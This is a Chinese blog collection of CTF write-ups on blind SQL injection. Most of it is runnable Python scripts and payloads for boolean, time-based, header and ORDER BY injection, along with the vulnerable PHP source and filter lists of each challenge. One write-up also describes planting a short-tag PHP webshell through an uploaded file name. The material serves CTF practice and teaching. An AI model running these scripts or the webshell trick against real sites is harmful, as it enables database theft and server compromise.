布尔盲注
2020ichunqiu新春公益赛—Ezsqli
出题思路Smi1e
界面:
FUZZ测试后发现
in
被过滤information_schema
、mysql.innodb_table_stats
、sys.schema_auto_increment_columns
都用不了了,这时就需要新的表来代替,参考
Payload1:1^((select substr((select group_concat(table_name) from sys.x$schema_flattened_keys),1,1))='f')
Payload2:1^((select substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),1,1))='f')
于是写出盲注爆表脚本(Payload1)
import requests
url = "http://586656b32259484e8dbc25a81ee0a407820801130961430a.changame.ichunqiu.com/index.php"
for i in range(1,100):
for j in range(40,128):
#d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
d = "1^(ascii(substr((select group_concat(table_name,'') from sys.x$schema_flattened_keys),{},1))={})".format(i,j)
data = {"id":d}
r = requests.post(url,data = data)
if 'Nu1L' not in r.text:
print(chr(j),end='')
break
得到两个表名,f1ag_1s_h3r3_hhhhh
、users233333333333333
flag
应该在f1ag_1s_h3r3_hhhhh
中,这里需要用到一个技巧,就是将查询语句与相同数量的列进行比较,参考,如图
而在mysql中,比较字符串大小是按位比较的,所以就可以用比较大小的方法一个一个的得到字段的内容
注:出题人这里还有一个坑,详见题目下方的链接
mysql默认是不区分大小写的区分大小写的注入,所以在爆字段的时候需要注意,但由于比赛flag都是小写,所以就直接盲注就可以了,但这里还是给出区分大小写的方法,BINARY("A")
、CAST("A" AS JSON)
都会返回大写的A,当in
被过滤了BINARY
就不好使了,所以用第二个就OK
这里可以测试出有两个列,但是盲猜第一列的第一个是1可还行
Payload:1^((select 1,concat('{}~',CAST('0' AS JSON)))<(select * from f1ag_1s_h3r3_hhhhh limit 1))
于是写出盲注爆字段脚本
import requests
import string
url = "http://a9362c1023c04da19c143e01d7991148619db7d8fbff4e43.changame.ichunqiu.com/index.php"
str = ("-" + string.digits + string.ascii_letters + string.punctuation).replace("'","").replace('"','').replace("\\","")
flag = ""
for i in range(1,100):
for j in str:
#d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
d = "1^((select 1,concat('{}~',CAST('0' AS JSON)))<(select * from f1ag_1s_h3r3_hhhhh limit 1))".format(flag+j)
data = {"id":d}
r = requests.post(url,data = data)
if 'Nu1L' in r.text:
print(j,end='')
break
flag = flag + j
最终可以得到flag
2020ichunqiu新春公益赛—简单的招聘系统
首先有个登录界面
尝试使用弱密码,1' or 1=1#
于是可以在登录界面进行布尔盲注
爆库Payload:2' or (select (mid((select database()),{},1)))='{}'#
爆表Payload:2' or (select (mid((select group_concat(table_name,'') from information_schema.tables where table_schema=database()),{},1)))='{}'#
爆列Payload:2' or (select (mid((select group_concat(column_name,'') from information_schema.columns where table_name='flag'),{},1)))='{}'#
爆字段Payload:2' or (select (mid((select group_concat(flaaag,'') from flag),{},1)))='{}'#
import requests
import string
url = "http://b191000b2d4c4a77ad9c86f2d5476e7172ed2000f40b4c72.changame.ichunqiu.com/"
str = ("-" + string.digits + string.ascii_letters + string.punctuation).replace("'","").replace('"','').replace("\\","")
flag = ""
for i in range(1,100):
for j in str:
#d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
d = "(This is Payload)".format(i,j)
#print(d)
data = {"lname":d , "lpass":'xxx'}
r = requests.post(url,data = data)
r.encoding = 'gbk'
if '成功' in r.text.encode('gbk').decode(r.apparent_encoding):
print(j,end='')
break
得到数据库:nzhaopin
,表:backup,flag,user
,flag表的内容:id,flaaag
,最终得到flag
CISCN2019-Web1—Hack World
解题核心—————–异或注入,盲注爆破
界面:
题目给出了flag在flag表和flag列中
测试后发现过滤了大多数字符,但有些还是没过滤的,于是进行sql盲注
空格利用()
绕过,配合异或注入和判断回显信息一个一个爆出字符串
python脚本:
import requests
url = "http://13b50f67-3a54-481d-ae76-97f425fd8855.node3.buuoj.cn/"
for i in range(1,100):
for j in range(1,128):
d = "1^(ascii(substr((select(flag)from(flag)),{},1))={})".format(i,j)
data = {"id":d}
r = requests.post(url,data = data)
print(r.status_code)
if 'Error' in r.text:
print(chr(j),end='')
网上这题的源码,可以参考参考
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
极客大挑战—FinalSQL
解题核心—————–异或注入,盲注爆破
在用户名和密码密码处尝试注入,发现绝大多数的字符都被过滤,于是找到另一个注入点(如下图),把注释删掉后在界面传参回车后观察URL的变化,传了一个id参数,故尝试在URL中的id处注入
后台过滤到限制字符的显示的界面(如下图)
当注入上一题的查询数据库语句时,发现可以注入,显示以下界面,应该是后台把报错的界面给处理了,所以看不到数据库报错的界面
进行异或注入测试,通过测试发现,id=1^1的结果和id=0的结果是一样的,当id=1^0的时候,界面就返回了当id=1的时候的界面,由此可以想到通过构造ASCII函数配合substr函数判断字符大小,当ASCII函数值等于(居然没过滤)后面的十进制时,显示id=0的时候的界面,具体脚本和判断方法如下:
1^(ascii(substr(("此处为sql语句"),变量i,1))=变量j)
查库:
import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,20):
for j in range(1,128):
d = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)like'geek')),'"+str(i)+"',1))='"+str(j)+"')"
r = requests.get(url+d)
if 'ERROR' in r.text:
print(chr(j),end='')
查表:
import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,20):
for j in range(1,128):
d = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)='geek')),'"+str(i)+"',1))='"+str(j)+"')"
r = requests.get(url+d)
if 'ERROR' in r.text:
print(chr(j),end='')
查列:
import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,20):
for j in range(1,128):
d = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)='F1naI1y')),'"+str(i)+"',1))='"+str(j)+"')"
r = requests.get(url+d)
if 'ERROR' in r.text:
print(chr(j),end='')
emmmmmmm这里长度没给够,根据前面的经验,查password列应该就可以了,F1aaaaag表中没有东西
查字段:
import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,300):
for j in range(1,128):
d = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')"
r = requests.get(url+d)
if 'ERROR' in r.text:
print(chr(j),end='')
拿到flag:
BJDCTF-2nd—简单注入
解题核心—————–regexp()正则匹配,binary大小写匹配,布尔盲注(亦可时间盲注)
参考:https://www.gem-love.com/ctf/2097.html#GirlfriendInjection
这题看着界面有点眼熟,这这个网站上有个类似的题http://pcat.cc/q.php ,Question 5那一期的web题
先fuzz一下,以下字符被过滤:
几个常用的注入参数被过滤:' " select
,这几个参数被过滤就已经杀了大部分的可注入方式,于是想办法构造注入条件,题目解题思路和Question 5那一期的web题类似,直接给出解题方法
解题方法:在用户名处注入反斜杆\
,可以将后端sql
语句处username
的后面的单引号转义
推测后端sql语句变成
select username password from users where username = '1\' and password = ' or 1#'
测试后发题目下方的字符串改变了(可惜比赛的时候没注意),可以用regexp正则模糊匹配的方法构造sql注入语句注出admin
的password
,于是写python
脚本盲注
import requests
url = "http://507fd7ed-7cc8-42d3-86ad-6b5ec032b815.node3.buuoj.cn/index.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded"
}
str1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
passwd = ''
pass1 = ''
for i in range(100):
for j in str1:
pass1 = '0x5E' + passwd.replace('0x5E','') + hex(ord(j)).replace('0x','')
payload = ' or password regexp binary {}#'.format(pass1)
#print(pass1)
data = {
'username': '1\\',
'password': payload
}
r = requests.post(url,data=data,headers=header)
if 'BJD needs' in r.text:
passwd = passwd + hex(ord(j)).replace('0x','')
print(j,end='')
break
注意这里binary
的使用,比赛的时候就是被这里给坑了=.=,mysql默认不区分大小写,这里使用该关键字来区分大小写,还有regexp
函数可以匹配十六进制数,涨姿势了,这样就可以绕过引号的过滤,另外上面的Ezsqli
题也还有一种匹配大小写的方法,用于in
被过滤,binary
就不好使了
最后盲注出password
为OhyOuFOuNdit
登录admin
账号即可得到flag
另外还有一种时间盲注的方法: or if(substr(password,1,1)regexp binary 0x5E...,sleep(3),1)
CTFshow—web1
访问www.zip
得到源码
index.php(略)
login.php
<?php
error_reporting(0);
session_start();
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$username=$_POST['username'];
$password=$_POST['password'];
if(isset($username) && isset($password)){
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
die("error");
}
$sql="select pwd from user where uname = '$username' limit 1";
$res=mysqli_query($con,$sql);
$row = mysqli_fetch_array($res);
if($row['pwd']===$password){
$_SESSION["login"] = true;
header("location:/user_main.php?order=id");
}else{
header("location:/index.php");
}
}else{
header("location:/index.php");
}
?>
reg.html(略)
reg.php
<?php
error_reporting(0);
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$username=$_POST['username'];
$password=$_POST['password'];
$email=$_POST['email'];
$nickname=$_POST['nickname'];
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
die("error");
}
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$password)){
die("error");
}
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i",$email)){
die("error");
}
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$nickname)){
die("error");
}
if(isset($username) && isset($password) && isset($email) && isset($nickname)){
$sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username', '$password', '$email','$nickname')";
$res=mysqli_query($con, $sql);
if ($res) {
$_SESSION["login"] = true;
header("location:/index.php");
}
}
mysqli_close($conn);
?>
user_main.php
<?php
error_reporting(0);
session_start();
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>CTFshow_web</title>
<style>
..........(css)
</style>
</head>
<body>
<?php
if(isset($_SESSION["login"]) && $_SESSION["login"] === true){
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$order=$_GET['order'];
if(isset($order) && strlen($order)<6){
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){
die("error");
}
$sql="select * from user order by $order";
}else{
$sql="select * from user order by id";
}
?>
..........(html)
</body>
</html>
可以看到可传入的值都经过了严格的过滤,大多数特殊符号都被过滤,所以直接进行sql注入显然不可能,寻找其他的入手点,可以看到在user_main.php
的传入的order
值处,有一条order by
语句,是用来根据order by
后面的列来进行排序的,根据题目提示flag_is_my_password
,所以我们只需要得到用户flag
的密码即可,于是我们可以根据pwd
的值来排序,然后配合盲注得出flag
,我们注册不同密码的账号,原理假设密码为e
(前端有个md5
加密抓包可以直接绕过不影响),如果flag
的密码为flag{xxxxx}
那么e
<flag{xxxxx}
,再传入user_main.php?order=pwd
,那么密码为e
的这一行就在flag这一行的上面。而如果注册一个密码为g
的用户,则密码为g
的用户的这一行则会在flag
这一行的下面,于是就可以拿来进行盲注比较得出flag
的所有值
exp
import requests
url = "https://b51823a7-b1c0-499d-878a-8a5b296655d3.chall.ctf.show"
urlreg = url + "/reg.php" #注册 必须要是可传参php文件
urllogin = url + "/login.php" #登录 必须要是可传参php文件
urlorder = url + "/user_main.php?order=pwd" # 显示
s = "-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~" # 按照ascii码表的字符串大小排序
flag = ""
for i in range(100):
for j in s:
exp = ""
exp = flag + j
datereg = {
"username":exp, # 仔细观察username和password并没有对-和{}进行过滤
"email":"zzz",
"nickname":"zzz",
"password":exp
}
datelogin = {
"username":exp,
"password":exp
}
if (exp == 'flag'): # 当注册的用户名字为flag的时候,因为已经存在flag用户在,额直接打印flag跳过后面的语句的执行
flag = 'flag'
print(flag)
break
session = requests.session() # 保持会话
reg = session.post(urlreg, datereg)
login = session.post(urllogin, datelogin)
a = session.get(urlorder)
txt = a.text
if (txt.index("<td>"+exp+"</td>")>txt.index("<td>flag@ctf.show</td>")): # index返回字符串被找到到最小的索引(最左)
flag = flag + chr(ord(j)-1) # 得到的字符为比flag的单个字符的值大1,所以需要-1
print(flag)
break
最终得到到flag
CISCN2019-总决赛-Day2-Web1-Easyweb
robots.txt内容如下
User-agent: *
Disallow: *.php.bak
于是找.bak
文件,发现存在image.php.bak,下载下来后得到image.php的源码如下:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
发现存在sql注入,通过传入id为\\0
来转义id后面的引号,与path前面的引号闭合导致sql注入
exp如下:
import requests
url = "http://a371750a-b2b0-4f95-9c4f-c2cf5292c17c.node3.buuoj.cn/image.php"
result = ""
# ?id=\\\\0&path= or if(ascii(mid((select database()),{},1))?{},1,0)--+
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)--+ images,users
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=database()),{},1))>{},1,0)--+ username,password
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(password) from users),{},1))>{},1,0)--+ 8e97f11c1585e0f6dedb
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(username) from users),{},1))>{},1,0)--+ admin
payload = "?id=\\\\0&path= or if(ascii(mid((select group_concat(password) from users),{},1))>{},1,0)--+"
for i in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payloads = payload.format(i, mid)
# print(url + payloads)
html = requests.get(url + payloads)
if 'JFIF' in html.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
得到admin的密码登录后是一个文件上传的页面,上传的文件会自动生成一个日志并且告诉了我们路径且后缀为php文件,上传后打开界面会显示文件的名字,于是抓包将文件名改为一句话木马,上传后php就会解析这个页面里的php语法,但是文件名字不能有php在里面,于是就需要一句话的短标签版,前提需要PHP开启短标签即short_open_tag=on
,题目支持,随后cat /flag
即可
[WUSTCTF2020]颜值成绩查询
if(1=1,1,2)
测试有回显,于是写脚本爆破
import requests
url = "http://228a1e37-3bc0-4272-ac01-c99d47dfd854.node3.buuoj.cn/?stunum="
result = ""
# if(ascii(mid((select/**/database()),{},1))>{},1,2) ctf
# if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{},1,2) flag,score
# if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{},1))>{},1,2) flag,value
# if(ascii(mid((select/**/value/**/from/**/flag),{},1))>{},1,2)
payload = "if(ascii(mid((select/**/value/**/from/**/flag),{},1))>{},1,2)"
for i in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payloads = payload.format(i, mid)
html = requests.get(url + payloads)
if 'admin' in html.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
注出flag
[NCTF2019]SQLi
拿到题目,可以看到会将sql查询的结果打印出来
fuzz测试,以下可用
注入方式
- 单引号用
\
转义, - 结束的单引号用
;%00
截断,在返回的header
头中可以看到php
版本为PHP/5.2.16
,所以可以用00截断 regexp
绕过特殊字符,来对passwd的值来进行盲注
payload:username=aaa\&passwd=||case/**/when/**/passwd/**/regexp/**/"^you_will_never_know7788990"/**/then/**/1/**/else/**/0/**/end;%00
精简写法username=aaa\&passwd=||passwd/**/regexp/**/"^you_will_never_know7788990";%00
如果passwd
正则校验正确,则会重定向到welcome.php
Exp:
import requests
import string
from time import sleep
url = "http://11185b34-a644-43f8-b6ef-676ab81b534f.node4.buuoj.cn/index.php"
strs = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
pwd = ""
# proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }
for i in range(1, 100):
for j in strs:
d = {
"username": 'aaa\\',
"passwd": '||case/**/when/**/passwd/**/regexp/**/"^{}"/**/then/**/1/**/else/**/0/**/end;\x00'.format(pwd+j)
}
r = requests.post(url, data=d, verify=False, timeout=3)
while(r.status_code == 503 or r.status_code == 429):
sleep(1)
r = requests.post(url, data=d, verify=False, timeout=3)
print("[+]"+"status_code:"+str(r.status_code)+" pwd:"+pwd+j)
if "welcome.php" in r.text:
pwd = pwd + j
break
最后拿到的密码you_will_never_know7788990
,随便用一个账号登录即可拿到flag
时间盲注
WEB_Login_Only_For_36D
界面:
F12可以看到hint
可以看到这里需要username匹配admin,随后才可以输入密码,先在password处fuzz一下
过滤了单引号,如果password中要用单引号闭合的话显然很难这里就需要从username入手,详情可以参考上面的BJDCTF-2nd—简单注入
,和p神和Smi1e师傅的文章:
这里直接给出payload:username=admin%0a\&password=/**/or/**/if(left((password),1)REGEXP/**/binary/**/"I",sleep(3),1)#
exp如下:
import requests
url = "https://bbafd3a8-7f89-4adf-84c2-7028b93775cc.chall.ctf.show/"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded"
}
str1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
passwd = ''
for i in range(1, 40):
for j in str1:
exp = passwd + j
payload = '/**/or/**/if(left((password),{})REGEXP/**/binary/**/"^{}",sleep(3),1)#'.format(i, exp)
data = {
'username': 'admin%0a\\',
'password': payload
}
r = requests.post(url,data=data,headers=header)
if r.elapsed.total_seconds()>1:
passwd = passwd + j
print(j,end='')
break
这里需要注意以下几点:
binary
匹配大小写mid
和substr
被过滤了用left
- 空格用
/**/
随后就可以跑出密码登录即可得到flag
XCTF—INSERT INTO注入
解题核心—————–substr(),x-forwarded-for头注入
平台:[bugku INSERT INTO注入](https://ctf.bugku.com/challenges#INSERT INTO注入)题目链接:http://123.206.87.240:8002/web15/
在题目的下方给了源码:
flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
通过观察代码可以发现变量$ip
可以通过更改X-Forwarded-For
头进行更改,且后面的代码把每一次查询的ip都插入的数据库,推测$ip
处存在注入点,于是burp抓包判断注入点:
利用延时注入验证此处确实存在注入点,于是开始构造注入函数,代码$ip_arr = explode(',', $ip);
通过逗号将ip分离开,只取第一个,所以这里相当于过过滤了逗号注入符号,于是我们通常用的mid
、substr
,if
判断在这里用不了了,在这里用以下注入方法替换:
if(sql,num,str)
可替换成case when sql then sleep(5) else 1 end
sql
注入语句中的substr
语句可以写成:substr(sql from num for 1) = str
,将语句中的逗号替换成了from
和for
,语句照常进行,mid
函数也可以这样
Payload1:127.0.0.1'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {} for 1 )='{}') then sleep(3) else 1 end )) #
,得到表client_ip
,flag
Payload2:127.0.0.1'and (case when (substr((select group_concat(column_name) from information_schema.columns where table_schema='flag') from {} for 1 )='{}') then sleep(3) else 1 end )) #
,得到表flag
中的flag
列
Payload3:127.0.0.1'and (case when (substr((select group_concat(flag) from flag) from {} for 1 )='{}') then sleep(3) else 1 end )) #
,得到flag
列中的flag
python脚本如下:
import requests
str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.-"
url = "http://123.206.87.240:8002/web15/"
for i in range(0,40):
for j in str:
data = "此处为Payload".format(i,j)
header = {"x-forwarded-for":data}
r = requests.get(url,headers=header)
if r.elapsed.total_seconds()>1:
print(j,end = '')
break
2020ichunqiu新春公益赛—盲注
首先点进去的界面:
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
可以看到需要我们get一个id参数来绕过waf里的check_sql函数完成注入,并且flag
在fl4g
里
首先题目过滤了select,fuzz后发现以下字符和函数被过滤
发现sleep
函数并没有被过滤,于是想到延时注入,=
、like
、rlike
被过滤用regexp
函数代替
regexp后所跟的东西作为正则表达式处理。
Payload:id=1 and if(ascii(mid(fl4g,1,1))regexp 102,sleep(3),1)
于是写出盲注注入脚本
import requests
url = "http://c6a55177986a42829935671bc7988fbd1a2652564f754cac.changame.ichunqiu.com/?id="
for i in range(1,100):
for j in range(45,128):
if j<58 or j>96:
#d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
d = "1 and if(ascii(mid(fl4g,"+str(i)+",1))regexp "+str(j)+",sleep(3),1)"
r = requests.get(url+d)
if r.elapsed.total_seconds()>1:
print(chr(j),end='')
break
网鼎杯2018—Unfinish
登录用的邮箱和密码,注册可以注册邮箱账号和密码,并且在登录后的index.php处有显示注册的用户名,用户名存入了数据库,于是推测在register.php处存在注入点,测试后发现过滤了逗号和information,不过可以用from和for代替,payload:0' or (case when (substr((select * from flag) from {} for 1 )='{}') then sleep(3) else 1 end) or '1
,注意这里判断响应时间的时候要用time库,平常用的elapsed.total_seconds()
在这里好像不管用,测试后发现这个函数获得的是最后一次请求的响应时间,而题目中的register.php注册成功会重定向到login.php,于是会导致结果输出不出来,于是改用time库
import requests
import time
str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}_!@#$%^&*.-"
url = "http://221e6a91-2118-48a2-832a-a910da7b4e1b.node3.buuoj.cn/register.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded"
}
for i in range(0,50):
for j in str:
payload = "0' or (case when (substr((select * from flag) from {} for 1 )='{}') then sleep(3) else 1 end) or '1".format(i,j)
#print(payload)
data = {
"email":"111@111",
"username":payload,
"password":"aaa"
}
startTime=time.time()
r = requests.post(url,data=data,headers=header)
#print(r.status_code)
#print(r.text)
if time.time()-startTime>1:
print(j,end = '')
break
其它
[RoarCTF 2019]Online Proxy
X-Forwarded-For
头注入,
在传入url为找到可疑点,F12查看源码可以看到html页面有注释显示着访问的客户端Ip
,推测后端将客户端的Ip
地址记录到数据库当中。尝试改写XFF头发现ip可控,推测为XFF头注入,于是尝试sql注入,测试后发现,XFF注入请求一次后,再请求两次正常XFF的ip,即可触发XFF的sql注入,推测后端代码,第二次并未直接从数据库中请求数据,由于第二次请求的ip不一样,服务器会直接将上次的ip显示出来,在第三次请求和第二次一样的ip的时,服务器就会从数据库中查找last ip
,即可触发sql注入
exp(glzjin yyds):
#!/usr/bin/env python3
import requests
target = "http://node3.buuoj.cn:27167/"
def execute_sql(sql):
print("[*]请求语句:" + sql)
return_result = ""
payload = "0'|length((" + sql + "))|'0"
session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度:" + str(length))
for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"
r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 查询上次IP时触发二次注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 再次查询得到结果
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')
print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))
return return_result
# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))
# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))
# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))
# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues